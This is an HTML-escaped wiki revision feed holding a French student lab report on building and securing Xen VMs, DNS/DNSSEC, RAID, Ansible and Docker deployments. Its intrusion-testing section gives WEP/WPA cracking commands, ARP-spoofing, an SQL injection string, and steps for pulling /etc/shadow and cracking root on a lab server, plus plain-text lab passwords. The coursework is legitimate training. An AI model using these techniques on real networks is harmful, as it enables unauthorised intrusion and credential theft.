&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier /etc/bind/db.calicedelamort.site pour y ajouter cette ligne :&lt;br /&gt;
&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
&lt;br /&gt;
On installe les paquets manquants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
On active notre 2ème site, puis on redémarre bind9 et apache2 :&lt;br /&gt;
&lt;br /&gt;
 a2ensite site2calicedelamort.conf&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Notre deuxième site est maintenant accessible via reverse.calicedelamort.site, cependant il n'est disponible que sur notre VM chassiron (192.168.42.9)&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons maintenant le rendre accessible sur toutes les VM chassiron, nous utilisons donc un Load Balancer.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on installe les paquetages nécessaires :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis, on modifie le fichier de configuration de notre site /etc/apache2/sites-available/site2calicedelamort.site, et on y ajoute un système d'équilibrage de charges :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;   &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
        ServerAdmin paulLeCannard&lt;br /&gt;
        &amp;lt;Proxy &amp;quot;balancer://macrondemission&amp;quot;&amp;gt;&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.2:8089&amp;quot; route=1&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.4:8089&amp;quot; route=2&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.5:8089&amp;quot; route=3&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.7:8089&amp;quot; route=4&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.9:8089&amp;quot; route=5&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.12:8089&amp;quot; route=6&lt;br /&gt;
                ProxySet lbmethod=byrequests&lt;br /&gt;
        &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
        ProxyPass / balancer://macrondemission/&lt;br /&gt;
        ProxyPassReverse / balancer://macrondemission/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55182</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55182"/>
				<updated>2020-12-22T14:49:10Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
